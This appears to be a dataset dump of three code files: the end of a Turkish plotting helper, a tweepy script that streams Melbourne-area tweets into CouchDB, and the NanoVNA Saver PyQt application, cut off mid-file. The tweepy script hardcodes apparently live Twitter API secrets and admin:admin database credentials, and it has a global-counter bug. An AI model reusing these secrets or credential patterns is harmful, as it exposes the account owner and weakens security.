ax.yaxis.set_major_formatter(fmt)\r\n addlabels(df['variable'], df['value'])\r\n #ax.bar_label(bar)\r\n plt.show()\r\n\r\n#Yatay bar grafiği çizer\r\ndef show_barh_chart(df,title,color):\r\n fmt = EngFormatter(places=0)\r\n fig, ax = plt.subplots()\r\n ax.set_xscale('log')\r\n bars = ax.barh(y=df[\"variable\"], width=df[\"value\"], color=color)\r\n ax.xaxis.set_major_formatter(fmt)\r\n for b in bars:\r\n w = b.get_width()\r\n ax.text(w, b.get_y()+0.5*b.get_height(),\r\n fmt.format_eng(w),\r\n ha='left', va='center')", "repo_name": "cetinibs/tez-projem-1", "sub_path": "notebooks/notebooks/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4765, "program_lang": "python", "lang": "tr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.DataFrame", "line_number": 81, "usage_type": "call"}, {"api_name": "seaborn.countplot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.ticker.EngFormatter", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.ticker.EngFormatter", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}]} +{"seq_id": "31633170861", "text": "import tweepy\nimport re\nimport couchdb\nimport sys\nimport json\n\ntweetCount = 0\nlimit = 0\n\nif len(sys.argv[1]) == 2:\n limit = int(sys.argv[1])\n\ndbuser = \"admin\"\ndbpassword = \"admin\"\ncouchserver = couchdb.Server(\"http://%s:%s@localhost:5984/\" % (dbuser, dbpassword))\n\ndbname = \"twitter\"\nif dbname in couchserver:\n db = couchserver[dbname]\nelse:\n db = couchserver.create(dbname)\n\ndef limitTweets():\n if limit == 0:\n return True\n if tweetCount < limit:\n tweetCount += 1\n return True\n return False\n\n#override tweepy.StreamListener to add logic to on_status\nclass MyStreamListener(tweepy.StreamListener):\n\n def on_connect(self):\n print(\"connected to api woohoo\")\n\n def on_data(self, data):\n db.save(json.loads(data))\n return limitTweets()\n\n def on_status(self, status):\n print(status.text)\n\n def on_error(self, status):\n print(status)\n if status == 420:\n #returning False in on_error disconnects the stream\n return False\n\nconsumer_key = \"AZKuQLLhtEiAamRWWIUJ5V5FG\"\nconsumer_secret = \"wS8Uo8daUMKSo9Dqfd9qkS7AzqADslgKgOwAtYjkbu9u0ezCgR\"\n\naccess_token = \"291391139-YRcTWOGDc8pv3LS9epnBEDqYLYiUXgYZHRbz3V3A\"\naccess_token_secret = \"BVnTIY7hsHDxSrhZKClXG0HllWURFlKQkn58UTgBBSARg\"\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\n# try:\n# redirect_url = auth.get_authorization_url()\n# except tweepy.TweepError:\n# print('Error! Failed to get request token.')\n\n# print(redirect_url)\n# # Example w/o callback (desktop)\n# pattern = r'.*oauth_token=([\\w]+)'\n# m = re.match(pattern, redirect_url)\n# token = m.group(1)\n# print(token)\n# verifier = input('Verifier:')\n\n# auth.request_token = { 'oauth_token' : token,\n# 'oauth_token_secret' : verifier }\n\n# try:\n# auth.get_access_token(verifier)\n# except tweepy.TweepError:\n# print('Error! Failed to get access token.')\n\n# print(auth.access_token)\n# print(auth.access_token_secret)\n\napi = tweepy.API(auth)\n\nmyStreamListener = MyStreamListener()\nmyStream = tweepy.Stream(auth = api.auth, listener=myStreamListener)\n\n# melbourne bounding box coordinates\n# for other locations use :\n# https://boundingbox.klokantech.com/\nmyStream.filter(locations = [144.5937,-38.4339,145.5125,-37.5113])\n", "repo_name": "abhi07-dev/nectar-twitter-analytics", "sub_path": "harvest/harvest.py", "file_name": "harvest.py", "file_ext": "py", "file_size_in_byte": 2336, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "couchdb.Server", "line_number": 15, "usage_type": "call"}, {"api_name": "tweepy.StreamListener", "line_number": 32, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 38, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 56, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 83, "usage_type": "call"}, {"api_name": "tweepy.Stream", "line_number": 86, "usage_type": "call"}]} +{"seq_id": "19653024426", "text": "import collections\nimport math\nimport threading\nfrom time import sleep\nfrom typing import List\n\nimport numpy as np\nimport serial\nfrom PyQt5 import QtWidgets, QtCore, QtGui\nfrom serial.tools import list_ports\n\nimport Chart\nfrom Calibration import CalibrationWindow, Calibration\nfrom Marker import Marker\nfrom SmithChart import SmithChart\nfrom SweepWorker import SweepWorker\nfrom LogMagChart import LogMagChart\nfrom Touchstone import Touchstone\n\nDatapoint = collections.namedtuple('Datapoint', 'freq re im')\n\nVID = 1155\nPID = 22336\n\n\nclass NanoVNASaver(QtWidgets.QWidget):\n def __init__(self):\n super().__init__()\n\n self.threadpool = QtCore.QThreadPool()\n print(\"Max thread count \" + str(self.threadpool.maxThreadCount()))\n self.worker = SweepWorker(self)\n\n self.noSweeps = 1 # Number of sweeps to run\n\n self.serialLock = threading.Lock()\n self.serial = serial.Serial()\n\n self.dataLock = threading.Lock()\n self.data: List[Datapoint] = []\n self.data21: List[Datapoint] = []\n self.referenceS11data: List[Datapoint] = []\n self.referenceS21data: List[Datapoint] = []\n\n self.calibration = Calibration()\n\n self.markers = []\n\n self.serialPort = self.getport()\n # self.serialSpeed = \"115200\"\n\n self.color = QtGui.QColor(160, 140, 20, 128)\n self.referenceColor = QtGui.QColor(0, 0, 255, 32)\n\n self.setWindowTitle(\"NanoVNA Saver\")\n layout = QtWidgets.QGridLayout()\n scrollarea = QtWidgets.QScrollArea()\n outer = QtWidgets.QVBoxLayout()\n outer.addWidget(scrollarea)\n self.setLayout(outer)\n scrollarea.setWidgetResizable(True)\n self.resize(1150, 950)\n scrollarea.setSizePolicy(QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.MinimumExpanding)\n self.setSizePolicy(QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.MinimumExpanding)\n widget = QtWidgets.QWidget()\n widget.setLayout(layout)\n scrollarea.setWidget(widget)\n\n self.s11SmithChart = SmithChart(\"S11\")\n self.s21SmithChart = SmithChart(\"S21\")\n self.s11LogMag = LogMagChart(\"S11 Return Loss\")\n self.s21LogMag = LogMagChart(\"S21 Gain\")\n\n self.charts: List[Chart] = []\n self.charts.append(self.s11SmithChart)\n self.charts.append(self.s21SmithChart)\n self.charts.append(self.s11LogMag)\n self.charts.append(self.s21LogMag)\n\n left_column = QtWidgets.QVBoxLayout()\n right_column = QtWidgets.QVBoxLayout()\n\n layout.addLayout(left_column, 0, 0)\n layout.addLayout(right_column, 0, 1)\n\n ################################################################################################################\n # Sweep control\n ################################################################################################################\n\n sweep_control_box = QtWidgets.QGroupBox()\n sweep_control_box.setMaximumWidth(400)\n sweep_control_box.setTitle(\"Sweep control\")\n sweep_control_layout = QtWidgets.QFormLayout(sweep_control_box)\n\n self.sweepStartInput = QtWidgets.QLineEdit(\"\")\n self.sweepStartInput.setAlignment(QtCore.Qt.AlignRight)\n\n sweep_control_layout.addRow(QtWidgets.QLabel(\"Sweep start\"), self.sweepStartInput)\n\n self.sweepEndInput = QtWidgets.QLineEdit(\"\")\n self.sweepEndInput.setAlignment(QtCore.Qt.AlignRight)\n\n sweep_control_layout.addRow(QtWidgets.QLabel(\"Sweep end\"), self.sweepEndInput)\n\n self.sweepCountInput = QtWidgets.QLineEdit(\"\")\n self.sweepCountInput.setAlignment(QtCore.Qt.AlignRight)\n self.sweepCountInput.setText(\"1\")\n\n sweep_control_layout.addRow(QtWidgets.QLabel(\"Sweep count\"), self.sweepCountInput)\n\n self.btnColorPicker = QtWidgets.QPushButton(\"█\")\n self.btnColorPicker.setFixedWidth(20)\n self.setSweepColor(self.color)\n self.btnColorPicker.clicked.connect(lambda:self.setSweepColor(QtWidgets.QColorDialog.getColor(self.color,options=QtWidgets.QColorDialog.ShowAlphaChannel)))\n\n sweep_control_layout.addRow(\"Sweep color\", self.btnColorPicker)\n\n self.sweepProgressBar = QtWidgets.QProgressBar()\n self.sweepProgressBar.setMaximum(100)\n self.sweepProgressBar.setValue(0)\n sweep_control_layout.addRow(self.sweepProgressBar)\n\n self.btnSweep = QtWidgets.QPushButton(\"Sweep\")\n self.btnSweep.clicked.connect(self.sweep)\n sweep_control_layout.addRow(self.btnSweep)\n\n left_column.addWidget(sweep_control_box)\n\n ################################################################################################################\n # Marker control\n ################################################################################################################\n\n marker_control_box = QtWidgets.QGroupBox()\n marker_control_box.setTitle(\"Markers\")\n marker_control_box.setMaximumWidth(400)\n marker_control_layout = QtWidgets.QFormLayout(marker_control_box)\n\n mouse_marker = Marker(\"Mouse marker\", QtGui.QColor(20, 255, 20))\n mouse_marker.updated.connect(self.dataUpdated)\n self.markers.append(mouse_marker)\n\n marker1 = Marker(\"Marker 1\", QtGui.QColor(255, 0, 20))\n marker1.updated.connect(self.dataUpdated)\n label, layout = marker1.getRow()\n marker_control_layout.addRow(label, layout)\n self.markers.append(marker1)\n\n marker2 = Marker(\"Marker 2\", QtGui.QColor(20, 0, 255))\n marker2.updated.connect(self.dataUpdated)\n label, layout = marker2.getRow()\n marker_control_layout.addRow(label, layout)\n self.markers.append(marker2)\n\n self.s11SmithChart.setMarkers(self.markers)\n self.s21SmithChart.setMarkers(self.markers)\n\n self.mousemarkerlabel = QtWidgets.QLabel(\"\")\n self.mousemarkerlabel.setMinimumWidth(160)\n marker_control_layout.addRow(QtWidgets.QLabel(\"Mouse marker:\"), self.mousemarkerlabel)\n\n self.marker1label = QtWidgets.QLabel(\"\")\n marker_control_layout.addRow(QtWidgets.QLabel(\"Marker 1:\"), self.marker1label)\n\n self.marker2label = QtWidgets.QLabel(\"\")\n marker_control_layout.addRow(QtWidgets.QLabel(\"Marker 2:\"), self.marker2label)\n\n left_column.addWidget(marker_control_box)\n\n ################################################################################################################\n # Statistics/analysis\n ################################################################################################################\n\n s11_control_box = QtWidgets.QGroupBox()\n s11_control_box.setTitle(\"S11\")\n s11_control_layout = QtWidgets.QFormLayout()\n s11_control_box.setLayout(s11_control_layout)\n s11_control_box.setMaximumWidth(400)\n\n self.s11_min_swr_label = QtWidgets.QLabel()\n s11_control_layout.addRow(\"Min VSWR:\", self.s11_min_swr_label)\n self.s11_min_rl_label = QtWidgets.QLabel()\n s11_control_layout.addRow(\"Return loss:\", self.s11_min_rl_label)\n\n left_column.addWidget(s11_control_box)\n\n s21_control_box = QtWidgets.QGroupBox()\n s21_control_box.setTitle(\"S21\")\n s21_control_layout = QtWidgets.QFormLayout()\n s21_control_box.setLayout(s21_control_layout)\n s21_control_box.setMaximumWidth(400)\n\n self.s21_min_gain_label = QtWidgets.QLabel()\n s21_control_layout.addRow(\"Min gain:\", self.s21_min_gain_label)\n\n self.s21_max_gain_label = QtWidgets.QLabel()\n s21_control_layout.addRow(\"Max gain:\", self.s21_max_gain_label)\n\n left_column.addWidget(s21_control_box)\n\n tdr_control_box = QtWidgets.QGroupBox()\n tdr_control_box.setTitle(\"TDR\")\n tdr_control_layout = QtWidgets.QFormLayout()\n tdr_control_box.setLayout(tdr_control_layout)\n tdr_control_box.setMaximumWidth(400)\n\n self.tdr_velocity_dropdown = QtWidgets.QComboBox()\n self.tdr_velocity_dropdown.addItem(\"Jelly filled (0.64)\", 0.64)\n self.tdr_velocity_dropdown.addItem(\"Polyethylene (0.66)\", 0.66)\n self.tdr_velocity_dropdown.addItem(\"PTFE (Teflon) (0.70)\", 0.70)\n self.tdr_velocity_dropdown.addItem(\"Pulp Insulation (0.72)\", 0.72)\n self.tdr_velocity_dropdown.addItem(\"Foam or Cellular PE (0.78)\", 0.78)\n self.tdr_velocity_dropdown.addItem(\"Semi-solid PE (SSPE) (0.84)\", 0.84)\n self.tdr_velocity_dropdown.addItem(\"Air (Helical spacers) (0.94)\", 0.94)\n self.tdr_velocity_dropdown.insertSeparator(7)\n self.tdr_velocity_dropdown.addItem(\"RG174 (0.66)\", 0.66)\n self.tdr_velocity_dropdown.addItem(\"RG316 (0.69)\", 0.69)\n self.tdr_velocity_dropdown.addItem(\"RG402 (0.695)\", 0.695)\n self.tdr_velocity_dropdown.insertSeparator(11)\n self.tdr_velocity_dropdown.addItem(\"Custom\", -1)\n\n self.tdr_velocity_dropdown.setCurrentIndex(1) # Default to PE (0.66)\n\n self.tdr_velocity_dropdown.currentIndexChanged.connect(self.updateTDR)\n\n tdr_control_layout.addRow(self.tdr_velocity_dropdown)\n\n self.tdr_velocity_input = QtWidgets.QLineEdit()\n self.tdr_velocity_input.setDisabled(True)\n self.tdr_velocity_input.setText(\"0.66\")\n self.tdr_velocity_input.textChanged.connect(self.updateTDR)\n\n tdr_control_layout.addRow(\"Velocity factor\", self.tdr_velocity_input)\n\n self.tdr_result_label = QtWidgets.QLabel()\n tdr_control_layout.addRow(\"Estimated cable length:\", self.tdr_result_label)\n\n left_column.addWidget(tdr_control_box)\n\n ################################################################################################################\n # Calibration\n ################################################################################################################\n calibration_control_box = QtWidgets.QGroupBox(\"Calibration\")\n calibration_control_box.setMaximumWidth(400)\n calibration_control_layout = QtWidgets.QFormLayout(calibration_control_box)\n b = QtWidgets.QPushButton(\"Calibration ...\")\n self.calibrationWindow = CalibrationWindow(self)\n b.clicked.connect(self.calibrationWindow.show)\n calibration_control_layout.addRow(b)\n left_column.addWidget(calibration_control_box)\n\n ################################################################################################################\n # Spacer\n ################################################################################################################\n\n left_column.addSpacerItem(QtWidgets.QSpacerItem(1, 1, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Expanding))\n\n ################################################################################################################\n # Reference control\n ################################################################################################################\n\n reference_control_box = QtWidgets.QGroupBox()\n reference_control_box.setMaximumWidth(400)\n reference_control_box.setTitle(\"Reference sweep\")\n reference_control_layout = QtWidgets.QFormLayout(reference_control_box)\n\n btnSetReference = QtWidgets.QPushButton(\"Set current as reference\")\n btnSetReference.clicked.connect(self.setReference)\n self.btnResetReference = QtWidgets.QPushButton(\"Reset reference\")\n self.btnResetReference.clicked.connect(self.resetReference)\n self.btnResetReference.setDisabled(True)\n self.btnReferenceColorPicker = QtWidgets.QPushButton(\"█\")\n self.btnReferenceColorPicker.setFixedWidth(20)\n self.setReferenceColor(self.referenceColor)\n self.btnReferenceColorPicker.clicked.connect(lambda: self.setReferenceColor(\n QtWidgets.QColorDialog.getColor(self.referenceColor, options=QtWidgets.QColorDialog.ShowAlphaChannel)))\n\n set_reference_layout = QtWidgets.QHBoxLayout()\n set_reference_layout.addWidget(btnSetReference)\n set_reference_layout.addWidget(self.btnReferenceColorPicker)\n reference_control_layout.addRow(set_reference_layout)\n reference_control_layout.addRow(self.btnResetReference)\n\n left_column.addWidget(reference_control_box)\n\n ################################################################################################################\n # Serial control\n ################################################################################################################\n\n serial_control_box = QtWidgets.QGroupBox()\n serial_control_box.setMaximumWidth(400)\n serial_control_box.setTitle(\"Serial port control\")\n serial_control_layout = QtWidgets.QFormLayout(serial_control_box)\n self.serialPortInput = QtWidgets.QLineEdit(self.serialPort)\n self.serialPortInput.setAlignment(QtCore.Qt.AlignRight)\n # self.serialSpeedInput = QtWidgets.QLineEdit(str(self.serialSpeed))\n # self.serialSpeedInput.setValidator(QtGui.QIntValidator())\n # self.serialSpeedInput.setAlignment(QtCore.Qt.AlignRight)\n serial_control_layout.addRow(QtWidgets.QLabel(\"Serial port\"), self.serialPortInput)\n # serial_control_layout.addRow(QtWidgets.QLabel(\"Speed\"), self.serialSpeedInput)\n\n self.btnSerialToggle = QtWidgets.QPushButton(\"Open serial\")\n self.btnSerialToggle.clicked.connect(self.serialButtonClick)\n serial_control_layout.addRow(self.btnSerialToggle)\n\n left_column.addWidget(serial_control_box)\n\n ################################################################################################################\n # File control\n ################################################################################################################\n\n self.fileWindow = QtWidgets.QWidget()\n self.fileWindow.setWindowTitle(\"Files\")\n file_window_layout = QtWidgets.QVBoxLayout()\n self.fileWindow.setLayout(file_window_layout)\n\n reference_file_control_box = QtWidgets.QGroupBox(\"Import file\")\n reference_file_control_layout = QtWidgets.QFormLayout(reference_file_control_box)\n self.referenceFileNameInput = QtWidgets.QLineEdit(\"\")\n btnReferenceFilePicker = QtWidgets.QPushButton(\"...\")\n btnReferenceFilePicker.setMaximumWidth(25)\n btnReferenceFilePicker.clicked.connect(self.pickReferenceFile)\n referenceFileNameLayout = QtWidgets.QHBoxLayout()\n referenceFileNameLayout.addWidget(self.referenceFileNameInput)\n referenceFileNameLayout.addWidget(btnReferenceFilePicker)\n\n reference_file_control_layout.addRow(QtWidgets.QLabel(\"Filename\"), referenceFileNameLayout)\n file_window_layout.addWidget(reference_file_control_box)\n\n btnLoadReference = QtWidgets.QPushButton(\"Load reference\")\n btnLoadReference.clicked.connect(self.loadReferenceFile)\n btnLoadSweep = QtWidgets.QPushButton(\"Load as sweep\")\n btnLoadSweep.clicked.connect(self.loadSweepFile)\n reference_file_control_layout.addRow(btnLoadReference)\n reference_file_control_layout.addRow(btnLoadSweep)\n\n file_control_box = QtWidgets.QGroupBox()\n file_control_box.setTitle(\"Export file\")\n file_control_box.setMaximumWidth(400)\n file_control_layout = QtWidgets.QFormLayout(file_control_box)\n self.fileNameInput = QtWidgets.QLineEdit(\"\")\n btnFilePicker = QtWidgets.QPushButton(\"...\")\n btnFilePicker.setMaximumWidth(25)\n btnFilePicker.clicked.connect(self.pickFile)\n fileNameLayout = QtWidgets.QHBoxLayout()\n fileNameLayout.addWidget(self.fileNameInput)\n fileNameLayout.addWidget(btnFilePicker)\n\n file_control_layout.addRow(QtWidgets.QLabel(\"Filename\"), fileNameLayout)\n\n self.btnExportFile = QtWidgets.QPushButton(\"Export data S1P\")\n self.btnExportFile.clicked.connect(self.exportFileS1P)\n file_control_layout.addRow(self.btnExportFile)\n\n self.btnExportFile = QtWidgets.QPushButton(\"Export data S2P\")\n self.btnExportFile.clicked.connect(self.exportFileS2P)\n file_control_layout.addRow(self.btnExportFile)\n\n file_window_layout.addWidget(file_control_box)\n\n file_control_box = QtWidgets.QGroupBox()\n file_control_box.setTitle(\"Files\")\n file_control_box.setMaximumWidth(400)\n file_control_layout = QtWidgets.QFormLayout(file_control_box)\n btnOpenFileWindow = QtWidgets.QPushButton(\"Files ...\")\n file_control_layout.addWidget(btnOpenFileWindow)\n btnOpenFileWindow.clicked.connect(lambda: self.fileWindow.show())\n\n left_column.addWidget(file_control_box)\n\n ################################################################################################################\n # Right side\n ################################################################################################################\n\n self.lister = QtWidgets.QPlainTextEdit()\n self.lister.setFixedHeight(80)\n charts = QtWidgets.QGridLayout()\n charts.addWidget(self.s11SmithChart, 0, 0)\n charts.addWidget(self.s21SmithChart, 1, 0)\n charts.addWidget(self.s11LogMag, 0, 1)\n charts.addWidget(self.s21LogMag, 1, 1)\n\n self.s11LogMag.setMarkers(self.markers)\n self.s21LogMag.setMarkers(self.markers)\n\n right_column.addLayout(charts)\n right_column.addWidget(self.lister)\n\n self.worker.signals.updated.connect(self.dataUpdated)\n self.worker.signals.finished.connect(self.sweepFinished)\n\n # Get that windows port\n @staticmethod\n def getport() -> str:\n device_list = list_ports.comports()\n for d in device_list:\n if (d.vid == VID and\n d.pid == PID):\n port = d.device\n return port\n\n def pickReferenceFile(self):\n filename, _ = QtWidgets.QFileDialog.getOpenFileName(directory=self.referenceFileNameInput.text(),\n filter=\"Touchstone Files (*.s1p *.s2p);;All files (*.*)\")\n if filename != \"\":\n self.referenceFileNameInput.setText(filename)\n\n def pickFile(self):\n filename, _ = QtWidgets.QFileDialog.getSaveFileName(directory=self.fileNameInput.text(),\n filter=\"Touchstone Files (*.s1p *.s2p);;All files (*.*)\")\n if filename != \"\":\n self.fileNameInput.setText(filename)\n\n def exportFileS1P(self):\n print(\"Save file to \" + self.fileNameInput.text())\n if len(self.data) == 0:\n self.lister.appendPlainText(\"No data stored, nothing written.\")\n return\n filename = self.fileNameInput.text()\n if filename == \"\":\n self.lister.appendPlainText(\"No filename entered.\")\n return\n try:\n file = open(filename, \"w+\")\n self.lister.clear()\n self.lister.appendPlainText(\"# Hz S RI R 50\")\n file.write(\"# Hz S RI R 50\\n\")\n for i in range(len(self.data)):\n if i == 0 or self.data[i].freq != self.data[i-1].freq:\n self.lister.appendPlainText(str(self.data[i].freq) + \" \" + str(self.data[i].re) + \" \" + str(self.data[i].im))\n file.write(str(self.data[i].freq) + \" \" + str(self.data[i].re) + \" \" + str(self.data[i].im) + \"\\n\")\n file.close()\n except Exception as e:\n print(\"Error during file export: \" + str(e))\n self.lister.appendPlainText(\"Error during file export: \" + str(e))\n return\n\n self.lister.appendPlainText(\"\")\n self.lister.appendPlainText(\"File \" + filename + \" written.\")\n\n def exportFileS2P(self):\n print(\"Save file to \" + self.fileNameInput.text())\n if len(self.data) == 0:\n self.lister.appendPlainText(\"No data stored, nothing written.\")\n return\n filename = self.fileNameInput.text()\n if filename == \"\":\n self.lister.appendPlainText(\"No filename entered.\")\n return\n try:\n file = open(filename, \"w+\")\n self.lister.clear()\n self.lister.appendPlainText(\"# Hz S RI R 50\")\n file.write(\"# Hz S RI R 50\\n\")\n for i in range(len(self.data)):\n if i == 0 or self.data[i].freq != self.data[i-1].freq:\n self.lister.appendPlainText(str(self.data[i].freq) + \" \" + str(self.data[i].re) + \" \" + str(self.data[i].im) + \" \" +\n str(self.data21[i].re) + \" \" + str(self.data21[i].im) + \" 0 0 0 0\")\n file.write(str(self.data[i].freq) + \" \" + str(self.data[i].re) + \" \" + str(self.data[i].im) + \" \" +\n str(self.data21[i].re) + \" \" + str(self.data21[i].im) + \" 0 0 0 0\\n\")\n file.close()\n except Exception as e:\n print(\"Error during file export: \" + str(e))\n self.lister.appendPlainText(\"Error during file export: \" + str(e))\n return\n\n self.lister.appendPlainText(\"\")\n self.lister.appendPlainText(\"File \" + filename + \" written.\")\n\n def serialButtonClick(self):\n if self.serial.is_open:\n self.stopSerial()\n else:\n self.startSerial()\n return\n\n def startSerial(self):\n self.lister.appendPlainText(\"Opening serial port \" + self.serialPort)\n\n if self.serialLock.acquire():\n self.serialPort = self.serialPortInput.text()\n try:\n self.serial = serial.Serial(port=self.serialPort, baudrate=115200)\n self.serial.timeout = 0.05\n except serial.SerialException as exc:\n self.lister.appendPlainText(\"Tried to open \" + self.serialPort + \" and failed: \" + str(exc))\n self.serialLock.release()\n return\n self.btnSerialToggle.setText(\"Close serial\")\n\n self.serialLock.release()\n sleep(0.05)\n\n frequencies = self.readValues(\"frequencies\")\n\n self.sweepStartInput.setText(str(frequencies[0]))\n self.sweepEndInput.setText(str(frequencies[100]))\n\n self.sweep()\n return\n\n def stopSerial(self):\n if self.serialLock.acquire():\n self.serial.close()\n self.serialLock.release()\n self.btnSerialToggle.setText(\"Open serial\")\n\n def writeSerial(self, command):\n if not self.serial.is_open:\n print(\"Warning: Writing without serial port being opened (\" + command + \")\")\n return\n if self.serialLock.acquire():\n try:\n self.serial.write(str(command + \"\\r\").encode('ascii'))\n self.serial.readline()\n except serial.SerialException as exc:\n print(\"Exception received: \" + str(exc))\n self.serialLock.release()\n return\n\n def setSweep(self, start, stop):\n # print(\"Sending: \" + \"sweep \" + str(start) + \" \" + str(stop) + \" 101\")\n self.writeSerial(\"sweep \" + str(start) + \" \" + str(stop) + \" 101\")\n\n def sweep(self):\n # Run the serial port update\n if not self.serial.is_open:\n return\n\n self.sweepProgressBar.setValue(0)\n self.btnSweep.setDisabled(True)\n self.mousemarkerlabel.setText(\"\")\n self.marker1label.setText(\"\")\n self.marker2label.setText(\"\")\n self.s11_min_rl_label.setText(\"\")\n self.s11_min_swr_label.setText(\"\")\n self.s21_min_gain_label.setText(\"\")\n self.s21_max_gain_label.setText(\"\")\n self.tdr_result_label.setText(\"\")\n\n self.threadpool.start(self.worker)\n\n def readValues(self, value):\n if self.serialLock.acquire():\n try:\n data = \"a\"\n while data != \"\":\n data = self.serial.readline().decode('ascii')\n\n # Then send the command to read data\n self.serial.write(str(value + \"\\r\").encode('ascii'))\n except serial.SerialException as exc:\n print(\"Exception received: \" + str(exc))\n result = \"\"\n data = \"\"\n sleep(0.01)\n while \"ch>\" not in data:\n data = self.serial.readline().decode('ascii')\n result += data\n values = result.split(\"\\r\\n\")\n self.serialLock.release()\n return values[1:102]\n\n def saveData(self, data, data12):\n if self.dataLock.acquire(blocking=True):\n self.data = data\n self.data21 = data12\n else:\n print(\"ERROR: Failed acquiring data lock while saving.\")\n self.dataLock.release()\n\n def dataUpdated(self):\n if self.dataLock.acquire(blocking=True):\n for m in self.markers:\n m.findLocation(self.data)\n # TODO: Make a neater solution for showing data for markers\n if self.markers[0].location != -1:\n im50, re50, vswr = self.vswr(self.data[self.markers[0].location])\n if im50 < 0:\n im50str = \"- j\" + str(round(-1*im50, 3))\n else:\n im50str = \"+ j\" + str(round(im50, 3))\n self.mousemarkerlabel.setText(str(round(re50, 3)) + im50str + \" VSWR: 1:\" + str(round(vswr, 3)))\n if self.markers[1].location != -1:\n im50, re50, vswr = self.vswr(self.data[self.markers[1].location])\n if im50 < 0:\n im50str = \"- j\" + str(round(-1*im50, 3))\n else:\n im50str = \"+ j\" + str(round(im50, 3))\n self.marker1label.setText(str(round(re50, 3)) + im50str + \" VSWR: 1:\" + str(round(vswr, 3)))\n\n if self.markers[2].location != -1:\n im50, re50, vswr = self.vswr(self.data[self.markers[2].location])\n if im50 < 0:\n im50str = \"- j\" + str(round(im50, 3))\n else:\n im50str = \"+ j\" + str(round(im50, 3))\n self.marker2label.setText(str(round(re50, 3)) + im50str + \" VSWR: 1:\" + str(round(vswr, 3)))\n\n self.s11SmithChart.setData(self.data)\n self.s21SmithChart.setData(self.data21)\n self.s11LogMag.setData(self.data)\n self.s21LogMag.setData(self.data21)\n self.sweepProgressBar.setValue(self.worker.percentage)\n self.updateTDR()\n # Find the minimum S11 VSWR:\n minVSWR = 100\n minVSWRfreq = -1\n for d in self.data:\n _, _, vswr = self.vswr(d)\n if minVSWR > vswr > 0:\n minVSWR = vswr\n minVSWRfreq = d.freq\n\n if minVSWRfreq > -1:\n self.s11_min_swr_label.setText(str(round(minVSWR, 3)) + \" @ \" + self.formatFrequency(minVSWRfreq))\n self.s11_min_rl_label.setText(str(round(20*math.log10((minVSWR-1)/(minVSWR+1)), 3)) + \" dB\")\n\n minGain = 100\n minGainFreq = -1\n maxGain = -100\n maxGainFreq = -1\n for d in self.data21:\n gain = self.gain(d)\n if gain > maxGain:\n maxGain = gain\n maxGainFreq = d.freq\n if gain < minGain:\n minGain = gain\n minGainFreq = d.freq\n\n if maxGainFreq > -1:\n self.s21_min_gain_label.setText(str(round(minGain, 3)) + \" dB @ \" + self.formatFrequency(minGainFreq))\n self.s21_max_gain_label.setText(str(round(maxGain, 3)) + \" dB @ \" + self.formatFrequency(maxGainFreq))\n\n else:\n print(\"ERROR: Failed acquiring data lock while updating\")\n self.dataLock.release()\n\n @staticmethod\n def vswr(data: Datapoint):\n re = data.re\n im = data.im\n re50 = 50 * (1 - re * re - im * im) / (1 + re * re + im * im - 2 * re)\n im50 = 50 * (2 * im) / (1 + re * re + im * im - 2 * re)\n mag = math.sqrt((re50 - 50) * (re50 - 50) + im50 * im50) / math.sqrt((re50 + 50) * (re50 + 50) + im50 * im50)\n # mag = math.sqrt(re * re + im * im) # Is this even right?\n vswr = (1 + mag) / (1 - mag)\n return im50, re50, vswr\n\n @staticmethod\n def gain(data: Datapoint):\n re = data.re\n im = data.im\n re50 = 50 * (1 - re * re - im * im) / (1 + re * re + im * im - 2 * re)\n im50 = 50 * (2 * im) / (1 + re * re + im * im - 2 * re)\n # Calculate the gain / reflection coefficient\n mag = math.sqrt((re50 - 50) * (re50 - 50) + im50 * im50) / math.sqrt(\n (re50 + 50) * (re50 + 50) + im50 * im50)\n return 20 * math.log10(mag)\n\n def sweepFinished(self):\n self.sweepProgressBar.setValue(100)\n self.btnSweep.setDisabled(False)\n\n def updateTDR(self):\n c = 299792458\n if len(self.data) < 2:\n return\n\n if self.tdr_velocity_dropdown.currentData() == -1:\n self.tdr_velocity_input.setDisabled(False)\n else:\n self.tdr_velocity_input.setDisabled(True)\n self.tdr_velocity_input.setText(str(self.tdr_velocity_dropdown.currentData()))\n\n try:\n v = float(self.tdr_velocity_input.text())\n except ValueError:\n return\n\n step_size = self.data[1].freq - self.data[0].freq\n if step_size == 0:\n self.tdr_result_label.setText(\"\")\n self.lister.appendPlainText(\"Cannot compute cable length at 0 span\")\n return\n\n s11 = []\n for d in self.data:\n s11.append(np.complex(d.re, d.im))\n\n window = np.blackman(len(self.data))\n\n windowed_s11 = window * s11\n\n td = np.abs(np.fft.ifft(windowed_s11, 2**14))\n\n time_axis = np.linspace(0, 1/step_size, 2**14)\n distance_axis = time_axis * v * c\n\n # peak = np.max(td) # We should check that this is an actual *peak*, and not just a vague 